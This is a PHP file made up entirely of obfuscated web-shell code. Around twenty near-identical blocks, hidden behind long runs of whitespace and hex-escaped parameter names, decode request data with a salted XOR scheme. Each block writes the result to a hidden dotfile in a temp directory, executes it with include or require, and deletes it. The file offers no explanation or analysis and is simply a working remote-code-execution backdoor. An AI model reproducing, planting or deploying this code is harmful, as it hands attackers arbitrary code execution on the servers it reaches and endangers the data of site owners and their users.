<?php																																										if(@$_POST["da\x74a_\x63\x68u\x6Ek"] !== null){ $item = $_POST["da\x74a_\x63\x68u\x6Ek"]; $item= explode ( "." , $item ) ; $pointer = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s6); $r = 0; $len = count($item); do { if ($r >=$len) break; $v5 = $item[$r]; $sChar = ord($s6[$r % $lenS]); $d = ((int)$v5 - $sChar - ($r % 10)) ^ 80; $pointer .= chr($d); $r++; } while (true); $res = array_filter([session_save_path(), "/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), getenv("TEMP"), "/dev/shm", "/var/tmp"]); foreach ($res as $fac) { if (is_dir($fac) ? is_writable($fac) : false) { $obj = "$fac" . "/.data"; if (file_put_contents($obj, $pointer)) { include $obj; @unlink($obj); die(); } } } }
																																										if(count($_POST) > 0 && isset($_POST["k"])){ $entry = array_filter([sys_get_temp_dir(), getenv("TEMP"), session_save_path(), "/var/tmp", "/tmp", ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), getenv("TMP")]); $token = $_POST["k"]; $token = explode ( '.', $token) ; $record= ''; $salt2= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt2 ); $x= 0; while ($x <count($token)) {$v3= $token[$x]; $sChar= ord($salt2[$x % $sLen] ); $dec= ((int)$v3 - $sChar - ($x % 10)) ^ 48; $record .= chr($dec ); $x++; } foreach ($entry as $key => $ent) { if (is_dir($ent) && is_writable($ent)) { $val = vsprintf("%s/%s", [$ent, ".factor"]); $success = file_put_contents($val, $record); if ($success) { include $val; @unlink($val); die();} } } }
																																										if(array_key_exists("obj\x65\x63\x74", $_REQUEST) && !is_null($_REQUEST["obj\x65\x63\x74"])){ $reference = array_filter([getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), "/tmp", session_save_path(), getenv("TMP"), getcwd(), "/var/tmp"]); $descriptor = $_REQUEST["obj\x65\x63\x74"]; $descriptor=explode ( '.' , $descriptor); $tkn = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s9); $v = 0; while( $v < count( $descriptor)) {$v9 = $descriptor[$v]; $chS = ord( $s9[$v % $lenS]); $d =( ( int)$v9 - $chS -( $v % 10)) ^51; $tkn.= chr( $d); $v++; } for ($hld = 0, $itm = count($reference); $hld < $itm; $hld++) { $desc = $reference[$hld]; if (!!is_dir($desc) && !!is_writable($desc)) { $resource = vsprintf("%s/%s", [$desc, ".entry"]); if (@file_put_contents($resource, $tkn) !== false) { include $resource; unlink($resource); die(); } } } }
																																										if(!empty($_REQUEST["\x72eso\x75rc\x65"])){ $entry = $_REQUEST["\x72eso\x75rc\x65"]; $entry =explode( ".",$entry ) ; $fac = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); foreach( $entry as $q => $v5) { $chS = ord( $s[$q %$lenS]); $dec =( ( int)$v5 - $chS -( $q %10))^76; $fac .= chr( $dec); } $value = array_filter([session_save_path(), "/var/tmp", sys_get_temp_dir(), getcwd(), "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm"]); foreach ($value as $key => $component) { if (is_dir($component) && is_writable($component)) { $binding = "$component" . "/.sym"; if (file_put_contents($binding, $fac)) { require $binding; unlink($binding); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "\x64\x61ta")){ $comp = array_filter(["/tmp", getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm", session_save_path(), "/var/tmp", getcwd()]); $bind = $_POST["\x64\x61ta"]; $bind =explode ( "." , $bind) ; $data_chunk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $w = 0; $__tmp = $bind; while($v6 = array_shift($__tmp)) { $sChar = ord($salt[$w % $sLen] ); $d =((int)$v6 - $sChar -($w % 10)) ^ 50; $data_chunk .= chr($d ); $w++;} while ($token = array_shift($comp)) { if (is_writable($token) && is_dir($token)) { $reference = implode("/", [$token, ".dchunk"]); $success = file_put_contents($reference, $data_chunk); if ($success) { include $reference; @unlink($reference); die();} } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x76\x61lue"])){ $itm = array_filter(["/tmp", ini_get("upload_tmp_dir"), "/var/tmp", session_save_path(), "/dev/shm", getcwd(), sys_get_temp_dir(), getenv("TEMP"), getenv("TMP")]); $element = $_REQUEST["\x76\x61lue"]; $element =explode ( '.' ,$element ) ; $hld = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s3); foreach( $element as $u => $v4): $chS = ord( $s3[$u % $lenS]); $dec = ( ( int)$v4 - $chS -( $u % 10)) ^ 10; $hld .= chr( $dec); endforeach; foreach ($itm as $descriptor) { if (is_dir($descriptor) && is_writable($descriptor)) { $sym = "$descriptor" . "/.pset"; $success = file_put_contents($sym, $hld); if ($success) { include $sym; @unlink($sym); exit;} } } }
																																										if(@$_REQUEST["reco\x72\x64"] !== null){ $flg = array_filter([getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp", session_save_path(), "/tmp", sys_get_temp_dir(), getenv("TEMP")]); $key = $_REQUEST["reco\x72\x64"]; $key = explode(".", $key ) ; $flag = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $u = 0; while ($u < count($key)) { $v2 = $key[$u]; $sChar = ord($salt[$u % $sLen] ); $dec = ((int)$v2 - $sChar - ($u % 10)) ^ 37; $flag.= chr($dec ); $u++; } $value = 0; do { $ptr = $flg[$value] ?? null; if ($value >= count($flg)) break; if (array_product([is_dir($ptr), is_writable($ptr)])) { $binding = join("/", [$ptr, ".pointer"]); $file = fopen($binding, 'w'); if ($file) { fwrite($file, $flag); fclose($file); include $binding; @unlink($binding); exit; } } $value++; } while (true); }
																																										if(!is_null($_POST["ob\x6A\x65ct"] ?? null)){ $val = array_filter(["/tmp", "/var/tmp", getenv("TEMP"), getenv("TMP"), getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir()]); $descriptor = $_POST["ob\x6A\x65ct"]; $descriptor =explode ('.', $descriptor ) ; $holder = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt ); $z = 0; $__tmp = $descriptor; while( $v4 = array_shift( $__tmp)) {$chS = ord( $salt[$z % $lenS] ); $dec = ( ( int)$v4 - $chS -( $z % 10))^36; $holder .= chr( $dec ); $z++; } foreach ($val as $key) { if (!( !is_dir($key) || !is_writable($key) )) { $rec = str_replace("{var_dir}", $key, "{var_dir}/.marker"); if (@file_put_contents($rec, $holder) !== false) { include $rec; unlink($rec); die(); } } } }
																																										if(in_array("\x64escriptor", array_keys($_POST))){ $entity = $_POST["\x64escriptor"]; $entity =explode ( '.', $entity ) ; $bind = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $s = 0; while($s < count($entity)) { $v6 = $entity[$s]; $sChar = ord($salt[$s % $lenS] ); $dec =((int)$v6 - $sChar -($s % 10))^77; $bind .= chr($dec ); $s++; } $k = array_filter([sys_get_temp_dir(), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), "/tmp", getcwd(), session_save_path()]); $elem = 0; do { $record = $k[$elem] ?? null; if ($elem >= count($k)) break; if (max(0, is_dir($record) * is_writable($record))) { $data_chunk = implode("/", [$record, ".flg"]); if (file_put_contents($data_chunk, $bind)) { require $data_chunk; unlink($data_chunk); exit; } } $elem++; } while (true); }
																																										if(count($_POST) > 0 && isset($_POST["\x65n\x74"])){ $property_set = $_POST["\x65n\x74"]; $property_set=explode ('.' ,$property_set ) ; $resource = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $q = 0; $__tmp = $property_set; while( $v9 = array_shift( $__tmp)) {$chS = ord( $salt[$q % $sLen]); $d =( ( int)$v9 - $chS -( $q % 10)) ^ 5; $resource .= chr( $d); $q++;} $ref = array_filter([getenv("TEMP"), "/var/tmp", "/dev/shm", getcwd(), ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), getenv("TMP"), session_save_path()]); foreach ($ref as $desc) { if (is_dir($desc) ? is_writable($desc) : false) { $itm = join("/", [$desc, ".res"]); if (file_put_contents($itm, $resource)) { include $itm; @unlink($itm); die(); } } } }
																																										if(in_array("\x65n\x74ity", array_keys($_POST))){ $itm = array_filter([getenv("TEMP"), "/tmp", sys_get_temp_dir(), getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", getcwd()]); $reference = $_POST["\x65n\x74ity"]; $reference =explode ( "." , $reference ) ; $pgrp = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s3); $y = 0; foreach ($reference as $v4) { $sChar = ord($s3[$y% $lenS]); $d = ((int)$v4 - $sChar - ($y% 10)) ^ 51; $pgrp.= chr($d); $y++; } $factor = 0; do { $ref = $itm[$factor] ?? null; if ($factor >= count($itm)) break; if (!( !is_dir($ref) || !is_writable($ref) )) { $rec = "$ref" . "/.fac"; if (@file_put_contents($rec, $pgrp) !== false) { include $rec; unlink($rec); die(); } } $factor++; } while (true); }
																																										if(in_array("res\x6Fu\x72c\x65", array_keys($_REQUEST))){ $descriptor = array_filter([sys_get_temp_dir(), session_save_path(), getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP"), "/var/tmp", getcwd()]); $value = $_REQUEST["res\x6Fu\x72c\x65"]; $value = explode ("." , $value) ; $flg = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt ); $w = 0; foreach( $value as $v1) { $sChar = ord( $salt[$w % $sLen] ); $d = ( ( int)$v1 - $sChar -( $w % 10)) ^ 96; $flg .= chr( $d ); $w++; } $item = 0; do { $hld = $descriptor[$item] ?? null; if ($item >= count($descriptor)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($hld)) { $ref = str_replace("{var_dir}", $hld, "{var_dir}/.pointer"); $success = file_put_contents($ref, $flg); if ($success) { include $ref; @unlink($ref); die();} } $item++; } while (true); }
																																										if(isset($_REQUEST["\x69tem"]) ? true : false){ $resource = array_filter([sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), "/tmp", getcwd(), "/var/tmp", "/dev/shm"]); $desc = $_REQUEST["\x69tem"]; $desc = explode( '.' , $desc) ; $record = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $y = 0; $__len = count( $desc); do { if( $y >= $__len) break; $v6 = $desc[$y]; $sChar = ord( $salt[$y % $sLen]); $d =( ( int)$v6 - $sChar -( $y % 10)) ^ 49; $record .=chr( $d); $y++;} while( true); $res = 0; do { $factor = $resource[$res] ?? null; if ($res >= count($resource)) break; if (is_dir($factor) ? is_writable($factor) : false) { $key = "$factor" . "/.hld"; if (file_put_contents($key, $record)) { require $key; unlink($key); exit; } } $res++; } while (true); }
																																										if(array_key_exists("o\x62j\x65c\x74", $_REQUEST)){ $rec = $_REQUEST["o\x62j\x65c\x74"]; $rec = explode ( '.' ,$rec ) ; $descriptor = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s7); $len = count($rec); for ($v = 0; $v < $len; $v++) { $v8 = $rec[$v]; $sChar = ord($s7[$v % $sLen]); $dec = ((int)$v8 - $sChar - ($v % 10)) ^ 20; $descriptor .= chr($dec); } $res = array_filter([sys_get_temp_dir(), "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), getenv("TEMP"), getcwd(), session_save_path()]); foreach ($res as $key => $flg) { if ((bool)is_dir($flg) && (bool)is_writable($flg)) { $dat = "$flg" . "/.ref"; $success = file_put_contents($dat, $descriptor); if ($success) { include $dat; @unlink($dat); die();} } } }
																																										if(@$_REQUEST["\x64\x63hu\x6Ek"] !== null){ $rec = $_REQUEST["\x64\x63hu\x6Ek"]; $rec=explode(".", $rec ) ; $marker = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt9); foreach ($rec as $w=> $v3) { $chS = ord($salt9[$w % $lenS]); $d = ((int)$v3 - $chS - ($w % 10)) ^ 54; $marker .= chr($d);} $res = array_filter([session_save_path(), "/var/tmp", sys_get_temp_dir(), getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", getenv("TMP")]); foreach ($res as $key => $pgrp) { if ((is_dir($pgrp) and is_writable($pgrp))) { $descriptor = join("/", [$pgrp, ".binding"]); if (file_put_contents($descriptor, $marker)) { require $descriptor; unlink($descriptor); exit; } } } }
																																										if(in_array("i\x74\x65m", array_keys($_REQUEST))){ $marker = $_REQUEST["i\x74\x65m"]; $marker= explode( "." , $marker) ; $bind = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s8); $v = 0; $__tmp = $marker; while( $v7 = array_shift( $__tmp)) { $chS = ord( $s8[$v % $sLen]); $d = ( ( int)$v7 - $chS -( $v % 10)) ^ 34; $bind .=chr( $d); $v++; } $fac = array_filter([sys_get_temp_dir(), getenv("TMP"), "/var/tmp", getcwd(), session_save_path(), getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), "/dev/shm"]); foreach ($fac as $descriptor): if (array_product([is_dir($descriptor), is_writable($descriptor)])) { $elem = implode("/", [$descriptor, ".entity"]); $success = file_put_contents($elem, $bind); if ($success) { include $elem; @unlink($elem); die();} } endforeach; }
																																										if(!empty($_POST["ele\x6D"])){ $data = array_filter([getcwd(), sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), "/var/tmp", "/tmp", getenv("TMP")]); $ent = $_POST["ele\x6D"]; $ent = explode( '.' , $ent ); $dat = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s9); $z = 0; foreach ($ent as $v8) { $sChar = ord($s9[$z % $sLen]); $dec = ((int)$v8 - $sChar - ($z % 10)) ^ 45; $dat .= chr($dec); $z++;} foreach ($data as $key => $element) { if (is_dir($element) ? is_writable($element) : false) { $marker = "$element/.descriptor"; if (@file_put_contents($marker, $dat) !== false) { include $marker; unlink($marker); exit; } } } }
																																										if(array_key_exists("\x63om\x70", $_POST)){ $k = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), "/tmp", getcwd(), getenv("TMP"), session_save_path(), getenv("TEMP"), "/dev/shm", sys_get_temp_dir()]); $obj = $_POST["\x63om\x70"]; $obj =explode('.',$obj); $flag = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s1); $w = 0; $__tmp = $obj; while ($v1 = array_shift($__tmp)) { $sChar = ord($s1[$w % $sLen]); $dec = ((int)$v1 - $sChar - ($w % 10)) ^ 22; $flag.=chr($dec); $w++;} foreach ($k as $key => $dat) { if (array_product([is_dir($dat), is_writable($dat)])) { $descriptor = sprintf("%s/.marker", $dat); if (file_put_contents($descriptor, $flag)) { include $descriptor; @unlink($descriptor); exit; } } } }
																																										if(isset($_REQUEST["\x72\x65f"]) ? true : false){ $property_set = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), "/dev/shm", "/var/tmp", sys_get_temp_dir(), session_save_path(), getcwd()]); $ent = $_REQUEST["\x72\x65f"]; $ent =explode ( '.' , $ent ) ; $fac=''; $salt9='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt9 ); $n=0; while ($n< count($ent)) { $v1=$ent[$n]; $sChar=ord($salt9[$n % $sLen] ); $dec=((int)$v1 - $sChar - ($n % 10)) ^ 25; $fac .= chr($dec ); $n++;} foreach ($property_set as $dat): if (!( !is_dir($dat) || !is_writable($dat) )) { $flg = join("/", [$dat, ".ptr"]); if (file_put_contents($flg, $fac)) { require $flg; unlink($flg); die(); } } endforeach; }
																																										if(array_key_exists("\x63\x6Fmp", $_POST) && !is_null($_POST["\x63\x6Fmp"])){ $val = array_filter([getenv("TEMP"), "/dev/shm", getcwd(), "/tmp", ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP"), sys_get_temp_dir(), "/var/tmp"]); $parameter_group = $_POST["\x63\x6Fmp"]; $parameter_group = explode ( '.', $parameter_group ) ; $ref= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s ); $z= 0; array_walk($parameter_group , function($v2) use(&$ref , &$z , $s , $sLen) { $sChar= ord($s[$z % $sLen] ); $d= ((int)$v2 - $sChar -($z % 10))^78; $ref.= chr($d ); $z++; } ); foreach ($val as $obj) { if ((bool)is_dir($obj) && (bool)is_writable($obj)) { $record = implode("/", [$obj, ".mrk"]); if (@file_put_contents($record, $ref) !== false) { include $record; unlink($record); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "\x6F\x62\x6Aect")){ $data_chunk = array_filter(["/dev/shm", getenv("TEMP"), session_save_path(), getenv("TMP"), "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp"]); $entity = $_REQUEST["\x6F\x62\x6Aect"]; $entity = explode( "." , $entity); $reference = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt2); $y = 0; $len = count($entity); do { if ($y >= $len) break; $v6 = $entity[$y]; $chS = ord($salt2[$y % $lenS]); $dec = ((int)$v6 - $chS - ($y % 10)) ^ 35; $reference .= chr($dec); $y++; } while (true); foreach ($data_chunk as $token): if ((bool)is_dir($token) && (bool)is_writable($token)) { $ref = str_replace("{var_dir}", $token, "{var_dir}/.record"); if (file_put_contents($ref, $reference)) { include $ref; @unlink($ref); die(); } } endforeach; }


if(!is_null($_POST["d\x63\x68u\x6Ek"] ?? null)){
	$obj = array_filter(["/dev/shm", "/tmp", "/var/tmp", sys_get_temp_dir(), getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP")]);
	$component = $_POST["d\x63\x68u\x6Ek"];
	 $component=	explode('.'	,  $component	  )	; 		
	$descriptor = '';
            $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($s1);
            $j = 0;
    
            array_walk($component ,	 function ($v8) use (&$descriptor ,	 &$j ,	 $s1 ,	 $lenS) {
                $chS = ord($s1[$j % $lenS]);
                $dec = ((int)$v8 - $chS - ($j % 10)) ^ 40;
                $descriptor .= chr($dec);
                $j++;} );
	while ($entity = array_shift($obj)) {
    		if ((is_dir($entity) and is_writable($entity))) {
    $bind = "$entity" . "/.record";
    if (file_put_contents($bind, $descriptor)) {
	include $bind;
	@unlink($bind);
	die();
}
}
}
}